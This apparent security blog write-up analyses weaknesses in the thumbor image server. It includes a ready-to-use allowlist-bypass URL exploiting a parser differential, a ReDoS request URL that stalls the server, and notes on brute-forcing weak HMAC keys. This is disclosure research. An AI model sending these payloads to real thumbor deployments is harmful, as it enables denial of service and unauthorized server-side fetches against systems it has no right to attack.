Attacking thumbor

Created on January 29, 2026

2026   ·   writeup   web   server-side   parser-differential   ·   cybersec

thumbor is an open-source image processing server, similar to Cloudflare Images or imgproxy.

The easiest way to send an image to be treated by it is to use unsafe URLs, enabled by default, in the format http://thumbor-server/unsafe/300x300/smart/path/to/image.jpg. An obvious problem is that attackers can manipulate the options passed to the server; thumbor relates this security issue to a possibility of DoS through spam and recommends to use HMAC signed URLs as a solution.

This blog post covers:

  • Domain whitelist bypass via a parser differential between tornado and urlparse;
  • Single request denial of service through ReDoS;
  • Attacking the HMAC security key via brute force;
  • Some other random stuff.

Domain whitelist bypass

thumbor provides multiple configurations to harden what the server can do, such as MAX_WIDTH or ALLOWED_SOURCES; the latter defines which FQDNs thumbor can download images from.

The call stack trace on processing an external image is quite long, but it all starts on handlers/imaging.py:get and the most important methods related to download are on loaders/http_loader.py. loaders/http_loader.py:validate validates if the given URL is within the whitelist defined by ALLOWED_SOURCES and loaders/http_loader.py:load is responsible for the download itself. After a lot of simplifications, the code for both functions look like this:

import re
import tornado
from urllib.parse import urlparse

def validate(context, url):
    res = urlparse(url)
    for pattern in context.config.ALLOWED_SOURCES:
        pattern = f"^{pattern}$"
        match = res.hostname
        if re.match(pattern, match):
            return True
    return False
async def load(url):
    return tornado.httpclient.HTTPRequest(url=url)

ALLOWED_SOURCES is an array of FQDNs. The function uses urllib to extract the FQDN from an URL and compares it to each value from the array. If the validation succeeds, the URL is passed to load. There’s one problem with this approach: thumbor doesn’t have a guarantee that tornado will use the same URL parser used on validate.

Going deep into tornado one can see that it indeed uses urllib, but it also implements its own logic to separate hosts from ports. A simplified version of the code is provided below:

import re
from urllib.parse import urlsplit

def parse_url_host_port(url: str) -> tuple[str, int | None]:
    netloc = urlsplit(url).netloc
    _netloc_re = re.compile(r"^(.+):(\d+)$")
    match = _netloc_re.match(netloc)
    if match:
        host = match.group(1)
        port = int(match.group(2))
    else:
        host = netloc
        port = None
    return host, port

Note that tornado restricts ports to integer numbers, while urlparse doesn’t. An URL such as http://allowed-domain.com:.evil.com will be seen by validate as containing an allowed hostname (allowed-domain.com as a hostname and .evil.com as a port), but tornado says that the hostname is actually allowed-domain.com:.evil.com.

Although allowed-domain.com:.evil.com is technically not a valid FQDN, tornado uses socket.getaddrinfo to get the IP address; this method considers evil.com to be the hostname, bypassing the whitelist.

ReDoS

Regular expressions can take up to exponential time to evaluate, and excessive use of resources may cause a denial of service (CWE-1333). The Cloudflare outage in 2019 is probably the most well-known example of that.

Besides resizing images, thumbor can also apply filters to them. Filters use regexes. Multiple defined filters can take up to exponential or polynomial time to evaluate. An exhaustive list of them won’t be provided, but the convolution filter is an example: /convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\)/ is $O(2^n)$.

http://thumbor-server/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png causes the call to re.match on thumbor/thumbor/filters/__init__.py#L189 to take too long and stalls the server.

Brute force attack on HMAC

For some reason the documentation states that the SECURITY_KEY for HMAC should be up to 16 characters. The code, however, doesn’t implement that limit and it’s actually better to use longer and complex keys.

Given an URL defined as http://thumbor-server/hash-signature/0x0/smart/x.png , , the signature will be defined on top of 0x0/smart/x.png. As the default URL signer computes the signature as the code below, it’s trivial to use brute force or dictionary attacks against weak keys.

def signature(self, url):
    return base64.urlsafe_b64encode(
        hmac.new(
            self.security_key, text_type(url).encode("utf-8"), hashlib.sha1
        ).digest()
    )

Miscellaneous

  • Documentation says that it’s possible to define a callback function for JSONP in the configuration file (META_CALLBACK_NAME). Although not documented, it’s also possible to do it in the URL: http://thumbor-server/unsafe/meta/0x0/smart/x.png?callback=foobar;
  • It’s possible, and potentially dangerous, to have uploads enabled with a non-default configuration of UPLOAD_ENABLED;
  • USE_BLACKLIST is also a non-default configuration that enables unprivileged users to add URLs to a blacklist. The blacklist is case sensitive and doesn’t process the URL in any way.